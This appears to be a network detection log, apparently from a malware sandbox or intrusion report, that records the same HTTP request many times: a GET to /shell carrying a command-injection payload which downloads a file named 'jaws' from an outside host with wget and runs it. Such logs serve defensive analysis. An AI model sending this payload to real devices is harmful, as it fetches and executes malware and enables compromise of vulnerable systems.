Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
